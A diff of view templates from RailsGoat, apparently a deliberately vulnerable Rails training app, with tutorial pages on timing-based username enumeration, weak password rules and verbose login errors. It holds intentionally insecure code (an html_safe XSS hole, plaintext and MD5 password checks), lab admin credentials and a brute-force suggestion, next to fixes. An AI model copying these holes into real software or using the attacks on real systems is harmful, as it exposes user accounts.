<%= render "layouts/tutorial/sidebar" %>
|
<%= render "layouts/tutorial/sidebar" %>
|
||||||
<% end %>
|
<% end %>
|
||||||
<div class="container-fluid">
|
<div class="container-fluid">
|
||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<%= render "layouts/shared/messages" %>
|
<%= render "layouts/shared/messages" %>
|
||||||
<%= yield %>
|
<%= yield %>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<%= render "layouts/shared/footer" %>
|
<%= render "layouts/shared/footer" %>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
<header>
|
<header>
|
||||||
|
|
||||||
<span style="color:#eee;margin-left:10px;">
|
<span style="color:#eee;margin-left:10px;">
|
||||||
Font Size:
|
Font Size:
|
||||||
<a href="<%= home_dashboard_index_path %>?font=8pt" style="font-size:10pt;color:#eee;">A</a>
|
<a href="<%= home_dashboard_index_path %>?font=8pt" style="font-size:10pt;color:#eee;">A</a>
|
||||||
@@ -13,7 +12,7 @@
|
|||||||
<span class="caret"></span>
|
<span class="caret"></span>
|
||||||
<ul class="dropdown-menu pull-right">
|
<ul class="dropdown-menu pull-right">
|
||||||
<li>
|
<li>
|
||||||
<%= link_to "account settings", user_account_settings_path(:user_id => current_user.user_id) %>
|
<%= link_to "account settings", user_account_settings_path(:user_id => current_user.user_id) %>
|
||||||
</li>
|
</li>
|
||||||
<li>
|
<li>
|
||||||
<%= link_to "logout", logout_path %>
|
<%= link_to "logout", logout_path %>
|
||||||
@@ -21,16 +20,16 @@
|
|||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
<ul class="mini-nav">
|
<ul class="mini-nav">
|
||||||
<li style="color: #FFFFFF">
|
<li style="color: #FFFFFF">
|
||||||
<!--
|
<!--
|
||||||
I'm going to use HTML safe because we had some weird stuff
|
I'm going to use HTML safe because we had some weird stuff
|
||||||
going on with funny chars and jquery, plus it says safe so I'm guessing
|
going on with funny chars and jquery, plus it says safe so I'm guessing
|
||||||
nothing bad will happen
|
nothing bad will happen
|
||||||
-->
|
-->
|
||||||
Welcome, <%= current_user.first_name.html_safe %>
|
Welcome, <%= current_user.first_name.html_safe %>
|
||||||
</li>
|
</li>
|
||||||
<li>
|
<li>
|
||||||
<%= button_to "RailsGoat Tutorials", tutorials_path, {:class => "btn btn-primary", :method => "get"}%>
|
<%= button_to "RailsGoat Tutorials", tutorials_path, {:class => "btn btn-primary", :method => "get"}%>
|
||||||
</li>
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
</header>
|
</header>
|
||||||
@@ -1,18 +1,18 @@
|
|||||||
<% flash.each do |name, msg| %>
|
<% flash.each do |name, msg| %>
|
||||||
<% if name == :error %>
|
<% if name == :error %>
|
||||||
<div class="alert alert-error">
|
<div class="alert alert-error">
|
||||||
<a class="close" data-dismiss="alert" href="#">×</a>
|
<a class="close" data-dismiss="alert" href="#">×</a>
|
||||||
<%= content_tag :div, msg, :id => "flash_notice" %>
|
<%= content_tag :div, msg, :id => "flash_notice" %>
|
||||||
</div>
|
</div>
|
||||||
<% elsif name == :success %>
|
<% elsif name == :success %>
|
||||||
<div class="alert alert-success">
|
<div class="alert alert-success">
|
||||||
<a class="close" data-dismiss="alert" href="#">×</a>
|
<a class="close" data-dismiss="alert" href="#">×</a>
|
||||||
<%= content_tag :div, msg, :id => "flash_notice" %>
|
<%= content_tag :div, msg, :id => "flash_notice" %>
|
||||||
</div>
|
</div>
|
||||||
<% elsif name == :info %>
|
<% elsif name == :info %>
|
||||||
<div class="alert alert-info">
|
<div class="alert alert-info">
|
||||||
<a class="close" data-dismiss="alert" href="#">×</a>
|
<a class="close" data-dismiss="alert" href="#">×</a>
|
||||||
<%= content_tag :div, msg, :id => "flash_notice" %>
|
<%= content_tag :div, msg, :id => "flash_notice" %>
|
||||||
</div>
|
</div>
|
||||||
<% end %>
|
<% end %>
|
||||||
<% end %>
|
<% end %>
|
||||||
@@ -17,9 +17,9 @@
|
|||||||
Admin
|
Admin
|
||||||
<% end %>
|
<% end %>
|
||||||
</li>
|
</li>
|
||||||
<% end %>
|
<% end %>
|
||||||
<li id="benefit_forms">
|
<li id="benefit_forms">
|
||||||
<%= link_to user_benefit_forms_path(:user_id => current_user.user_id) do %>
|
<%= link_to user_benefit_forms_path(:user_id => current_user.user_id) do %>
|
||||||
<div class="icon">
|
<div class="icon">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||||
</div>
|
</div>
|
||||||
@@ -66,8 +66,8 @@
|
|||||||
Messages
|
Messages
|
||||||
<% end %>
|
<% end %>
|
||||||
</li>
|
</li>
|
||||||
<li id="pay">
|
<li id="pay">
|
||||||
<%= link_to user_pay_index_path(:user_id => current_user.user_id) do %>
|
<%= link_to user_pay_index_path(:user_id => current_user.user_id) do %>
|
||||||
<div class="icon">
|
<div class="icon">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||||
</div>
|
</div>
|
||||||
@@ -77,52 +77,52 @@
|
|||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
//Main menu navigation
|
//Main menu navigation
|
||||||
|
|
||||||
$('.submenu > a').click(function(e){
|
$('.submenu > a').click(function(e){
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
var submenu = $(this).siblings('ul');
|
var submenu = $(this).siblings('ul');
|
||||||
var li = $(this).parents('li');
|
var li = $(this).parents('li');
|
||||||
var submenus = $('#mainnav li.submenu ul');
|
var submenus = $('#mainnav li.submenu ul');
|
||||||
var submenus_parents = $('#mainnav li.submenu');
|
var submenus_parents = $('#mainnav li.submenu');
|
||||||
if(li.hasClass('open'))
|
if(li.hasClass('open'))
|
||||||
{
|
{
|
||||||
if(($(window).width() > 768) || ($(window).width() < 479)) {
|
if(($(window).width() > 768) || ($(window).width() < 479)) {
|
||||||
submenu.slideUp();
|
submenu.slideUp();
|
||||||
} else {
|
} else {
|
||||||
submenu.fadeOut(250);
|
submenu.fadeOut(250);
|
||||||
}
|
}
|
||||||
li.removeClass('open');
|
li.removeClass('open');
|
||||||
} else
|
} else
|
||||||
{
|
{
|
||||||
if(($(window).width() > 768) || ($(window).width() < 479)) {
|
if(($(window).width() > 768) || ($(window).width() < 479)) {
|
||||||
submenus.slideUp();
|
submenus.slideUp();
|
||||||
submenu.slideDown();
|
submenu.slideDown();
|
||||||
} else {
|
} else {
|
||||||
submenus.fadeOut(250);
|
submenus.fadeOut(250);
|
||||||
submenu.fadeIn(250);
|
submenu.fadeIn(250);
|
||||||
}
|
}
|
||||||
submenus_parents.removeClass('open');
|
submenus_parents.removeClass('open');
|
||||||
li.addClass('open');
|
li.addClass('open');
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
var ul = $('#mainnav > ul');
|
var ul = $('#mainnav > ul');
|
||||||
|
|
||||||
$('#mainnav > a').click(function(e)
|
$('#mainnav > a').click(function(e)
|
||||||
{
|
{
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
var mainnav = $('#mainnav');
|
var mainnav = $('#mainnav');
|
||||||
if(mainnav.hasClass('open'))
|
if(mainnav.hasClass('open'))
|
||||||
{
|
{
|
||||||
mainnav.removeClass('open');
|
mainnav.removeClass('open');
|
||||||
ul.slideUp(250);
|
ul.slideUp(250);
|
||||||
} else
|
} else
|
||||||
{
|
{
|
||||||
mainnav.addClass('open');
|
mainnav.addClass('open');
|
||||||
ul.slideDown(250);
|
ul.slideDown(250);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
</script>
|
</script>
|
||||||
|
|||||||
@@ -1,24 +1,24 @@
|
|||||||
<!-- Want to use this template whether auth'd or not so I've got some code to determine how to render below -->
|
<!-- Want to use this template whether auth'd or not so I've got some code to determine how to render below -->
|
||||||
<header>
|
<header>
|
||||||
<% if not current_user %>
|
<% if not current_user %>
|
||||||
<ul class="mini-nav">
|
<ul class="mini-nav">
|
||||||
<li>
|
<li>
|
||||||
<%= button_to "signup", signup_path, {:class => "btn btn-primary", :method => "get"} %>
|
<%= button_to "signup", signup_path, {:class => "btn btn-primary", :method => "get"} %>
|
||||||
</li>
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
<ul class="mini-nav">
|
<ul class="mini-nav">
|
||||||
<li>
|
<li>
|
||||||
<%= button_to "login", login_path, {:class => "btn", :method => "get"} %>
|
<%= button_to "login", login_path, {:class => "btn", :method => "get"} %>
|
||||||
</li>
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
<% else %>
|
<% else %>
|
||||||
<ul class="mini-nav">
|
<ul class="mini-nav">
|
||||||
<li>
|
<li>
|
||||||
<%= button_to "<- back to app", home_dashboard_index_path, {:class => "btn btn-primary", :method => "get"} %>
|
<%= button_to "<- back to app", home_dashboard_index_path, {:class => "btn btn-primary", :method => "get"} %>
|
||||||
</li>
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
<% end %>
|
<% end %>
|
||||||
<ul class="mini-nav">
|
<ul class="mini-nav">
|
||||||
<li>
|
<li>
|
||||||
<%= button_to "Tutorial Credentials", "#myModalLabel1", {:id => "show_creds_btn", :class => "btn btn-danger", :method => "get"} %>
|
<%= button_to "Tutorial Credentials", "#myModalLabel1", {:id => "show_creds_btn", :class => "btn btn-danger", :method => "get"} %>
|
||||||
</li>
|
</li>
|
||||||
@@ -26,14 +26,14 @@
|
|||||||
|
|
||||||
</header>
|
</header>
|
||||||
|
|
||||||
<div id="modal_div" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myAlert" aria-hidden="true">
|
<div id="modal_div" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myAlert" aria-hidden="true">
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
$('#show_creds_btn').click(function(event) {
|
$('#show_creds_btn').click(function(event) {
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$("#modal_div").load(<%= credentials_tutorials_path.inspect.html_safe %>);
|
$("#modal_div").load(<%= credentials_tutorials_path.inspect.html_safe %>);
|
||||||
$("#modal_div").modal("show");
|
$("#modal_div").modal("show");
|
||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
<div id="mainnav"class="hidden-phone hidden-tablet">
|
<div id="mainnav"class="hidden-phone hidden-tablet">
|
||||||
<ul style="display: block;">
|
<ul style="display: block;">
|
||||||
<li id="tutorials_home">
|
<li id="tutorials_home">
|
||||||
<%= link_to tutorials_path, :html => {:method => "get"} do %>
|
<%= link_to tutorials_path, :html => {:method => "get"} do %>
|
||||||
<div class="icon">
|
<div class="icon">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||||
@@ -16,7 +16,7 @@
|
|||||||
A1 Injection
|
A1 Injection
|
||||||
<% end %>
|
<% end %>
|
||||||
</li>
|
</li>
|
||||||
<li id="broken_auth">
|
<li id="broken_auth">
|
||||||
<%= link_to broken_auth_tutorials_path do %>
|
<%= link_to broken_auth_tutorials_path do %>
|
||||||
<div class="icon">
|
<div class="icon">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||||
@@ -41,7 +41,7 @@
|
|||||||
A4 Insecure DOR
|
A4 Insecure DOR
|
||||||
<% end %>
|
<% end %>
|
||||||
</li>
|
</li>
|
||||||
<li id="misconfig">
|
<li id="misconfig">
|
||||||
<%= link_to misconfig_tutorials_path do %>
|
<%= link_to misconfig_tutorials_path do %>
|
||||||
<div class="icon">
|
<div class="icon">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||||
@@ -65,7 +65,7 @@
|
|||||||
A7 Access Control
|
A7 Access Control
|
||||||
<% end %>
|
<% end %>
|
||||||
</li>
|
</li>
|
||||||
<li id="csrf">
|
<li id="csrf">
|
||||||
<%= link_to csrf_tutorials_path do %>
|
<%= link_to csrf_tutorials_path do %>
|
||||||
<div class="icon">
|
<div class="icon">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
||||||
@@ -97,21 +97,21 @@
|
|||||||
Extras
|
Extras
|
||||||
</a>
|
</a>
|
||||||
<ul>
|
<ul>
|
||||||
<li id="gauntlt">
|
<li id="gauntlt">
|
||||||
<%= link_to "gauntlt", gauntlt_tutorials_path %>
|
<%= link_to "gauntlt", gauntlt_tutorials_path %>
|
||||||
</li>
|
</li>
|
||||||
<li id="guard">
|
<li id="guard">
|
||||||
<%= link_to "Guard", guard_tutorials_path %>
|
<%= link_to "Guard", guard_tutorials_path %>
|
||||||
</li>
|
</li>
|
||||||
<li id="mass_assignment">
|
<li id="mass_assignment">
|
||||||
<%= link_to "Mass Assignment", mass_assignment_tutorials_path %>
|
<%= link_to "Mass Assignment", mass_assignment_tutorials_path %>
|
||||||
</li>
|
</li>
|
||||||
<li id="logic_flaws">
|
<li id="logic_flaws">
|
||||||
<%= link_to "Logic Flaws", logic_flaws_tutorials_path %>
|
<%= link_to "Logic Flaws", logic_flaws_tutorials_path %>
|
||||||
</li>
|
</li>
|
||||||
<li id="metaprogramming">
|
<li id="metaprogramming">
|
||||||
<%= link_to "Meta- Programming", metaprogramming_tutorials_path %>
|
<%= link_to "Meta- Programming", metaprogramming_tutorials_path %>
|
||||||
</li>
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
</li>
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
|
|||||||
@@ -16,9 +16,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseCompOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseCompOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
A timing attack can exist in several forms. This specific case relates to username (email address) enumeration. By leveraging an automated tool, an attacker can review any subtle variation in response times after submitting a login request to determine if the application is performing a computationally intense function. Meaning, if a function is run once a user is discovered, even if the password is incorrect, this information provides the user with valid or invalid usernames.
|
A timing attack can exist in several forms. This specific case relates to username (email address) enumeration. By leveraging an automated tool, an attacker can review any subtle variation in response times after submitting a login request to determine if the application is performing a computationally intense function. Meaning, if a function is run once a user is discovered, even if the password is incorrect, this information provides the user with valid or invalid usernames.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,28 +32,28 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseCompTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseCompTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Within app/models/user.rb
|
Within app/models/user.rb
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def self.authenticate(email, password)
|
def self.authenticate(email, password)
|
||||||
auth = nil
|
auth = nil
|
||||||
<span style="background-color: yellow"> user = find_by_email(email)</span>
|
<span style="background-color: yellow"> user = find_by_email(email)</span>
|
||||||
raise "#{email} doesn't exist!" if !(user)
|
raise "#{email} doesn't exist!" if !(user)
|
||||||
<span style="background-color: yellow">if user.password == Digest::MD5.hexdigest(password)</span>
|
<span style="background-color: yellow">if user.password == Digest::MD5.hexdigest(password)</span>
|
||||||
auth = user
|
auth = user
|
||||||
else
|
else
|
||||||
raise "Incorrect Password!"
|
raise "Incorrect Password!"
|
||||||
end
|
end
|
||||||
return auth
|
return auth
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use).
|
Ignore for a moment that the application actually tells you whether or not an email address exists :-). Instead, let's look at what would happen if this error message wasn't so specific. Even if the error message vulnerability was mitigated (because it indicates whether or not a user exists), there will be some variations in the application's response between a user that exists and one that does not (however so slight, considering MD5 is in use).
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user <i>is</i> found, we will perform a password comparison and process as normal.
|
To understand why, let's follow the flow of this code example. Firstly, the application look for a user by email. If not found, nothing else really happens. No further processing, password comparison, etc. If a user <i>is</i> found, we will perform a password comparison and process as normal.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -68,29 +68,29 @@
|
|||||||
<div class="accordion-body collapse" id="collapseCompThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseCompThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Lack of Password Complexity - SOLUTION</b></p>
|
<p><b>Lack of Password Complexity - SOLUTION</b></p>
|
||||||
<p>
|
<p>
|
||||||
Within app/models/user.rb:
|
Within app/models/user.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def self.authenticate(email, password)
|
def self.authenticate(email, password)
|
||||||
<span style="background-color: yellow">user = find_by_email(email) || User.new(:password => "")</span>
|
<span style="background-color: yellow">user = find_by_email(email) || User.new(:password => "")</span>
|
||||||
<span style="background-color: yellow">if Rack::Utils.secure_compare(user.password, Digest::MD5.hexdigest(password))</span>
|
<span style="background-color: yellow">if Rack::Utils.secure_compare(user.password, Digest::MD5.hexdigest(password))</span>
|
||||||
return user
|
return user
|
||||||
else
|
else
|
||||||
raise "Incorrect username or password"
|
raise "Incorrect username or password"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time.
|
To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time.
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete.
|
In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseCompFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseCompFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -100,9 +100,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseCompFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseCompFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Timing is everything. Authenticating is important too.
|
Timing is everything. Authenticating is important too.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapsePwdOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapsePwdOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Password complexity is incredibly important and highly debated subject. Other factors play a part in the stringency of the enforcement policy applied. If a username can be enumerated, a CAPTCHA on the login form is not present or other methods to deter a brute-force password guessing campaign are not in place, at least password complexity enforcement policy can make it a that much more difficult for an attacker to guess users passwords.
|
Password complexity is incredibly important and highly debated subject. Other factors play a part in the stringency of the enforcement policy applied. If a username can be enumerated, a CAPTCHA on the login form is not present or other methods to deter a brute-force password guessing campaign are not in place, at least password complexity enforcement policy can make it a that much more difficult for an attacker to guess users passwords.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,18 +32,18 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapsePwdTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapsePwdTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Within app/models/User.rb
|
Within app/models/User.rb
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
validates :password, :presence => true,
|
validates :password, :presence => true,
|
||||||
:confirmation => true,
|
:confirmation => true,
|
||||||
:length => {:within => 6..40},
|
:length => {:within => 6..40},
|
||||||
:on => :create
|
:on => :create
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity.
|
The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -58,28 +58,28 @@
|
|||||||
<div class="accordion-body collapse" id="collapsePwdThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapsePwdThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Lack of Password Complexity - ATTACK</b></p>
|
<p><b>Lack of Password Complexity - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com").
|
Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com").
|
||||||
</p>
|
</p>
|
||||||
<p><b>Lack of Password Complexity - SOLUTION</b></p>
|
<p><b>Lack of Password Complexity - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This regular expression validates the password has the following requirements:
|
This regular expression validates the password has the following requirements:
|
||||||
<li>1 digit</li>
|
<li>1 digit</li>
|
||||||
<li>1 lowercase alphabet</li>
|
<li>1 lowercase alphabet</li>
|
||||||
<li>1 uppercase alphabet</li>
|
<li>1 uppercase alphabet</li>
|
||||||
<li>1 special character</li>
|
<li>1 special character</li>
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
validates :password, :presence => true,
|
validates :password, :presence => true,
|
||||||
:confirmation => true,
|
:confirmation => true,
|
||||||
:if => :password,
|
:if => :password,
|
||||||
:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
|
:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
|
||||||
|
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapsePwdFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapsePwdFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -89,9 +89,9 @@ validates :password, :presence => true,
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapsePwdFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapsePwdFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
I wonder how strong the administrator's password is?
|
I wonder how strong the administrator's password is?
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful.
|
Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,50 +33,50 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Username and Password Enumeration</b></p>
|
<p><b>Username and Password Enumeration</b></p>
|
||||||
<p><b>Within /app/models/user.rb:</b><p>
|
<p><b>Within /app/models/user.rb:</b><p>
|
||||||
|
|
||||||
|
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def self.authenticate(email, password)
|
def self.authenticate(email, password)
|
||||||
auth = nil
|
auth = nil
|
||||||
user = find_by_email(email)
|
user = find_by_email(email)
|
||||||
# I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
|
# I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
|
||||||
if user
|
if user
|
||||||
if user.password == password
|
if user.password == password
|
||||||
auth = user
|
auth = user
|
||||||
else
|
else
|
||||||
raise "Incorrect Password!"
|
raise "Incorrect Password!"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
raise "#{email} doesn't exist!"
|
raise "#{email} doesn't exist!"
|
||||||
end
|
end
|
||||||
return auth
|
return auth
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p> On lines 9 and 12 you'll notice that the application generates two error messages. </p>
|
<p> On lines 9 and 12 you'll notice that the application generates two error messages. </p>
|
||||||
<p><b>Within /app/controllers/sessions_controller.rb:</b><p>
|
<p><b>Within /app/controllers/sessions_controller.rb:</b><p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def create
|
def create
|
||||||
|
|
||||||
begin
|
begin
|
||||||
user = User.authenticate(params[:email], params[:password])
|
user = User.authenticate(params[:email], params[:password])
|
||||||
rescue Exception => e
|
rescue Exception => e
|
||||||
end
|
end
|
||||||
|
|
||||||
if user
|
if user
|
||||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||||
redirect_to home_dashboard_index_path
|
redirect_to home_dashboard_index_path
|
||||||
else
|
else
|
||||||
flash[:error] = e.message
|
flash[:error] = e.message
|
||||||
render "new"
|
render "new"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p> On line 5 you see the exception message object "e" is created. On line 11, the message is displayed. </p>
|
<p> On line 5 you see the exception message object "e" is created. On line 11, the message is displayed. </p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site.
|
One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site.
|
||||||
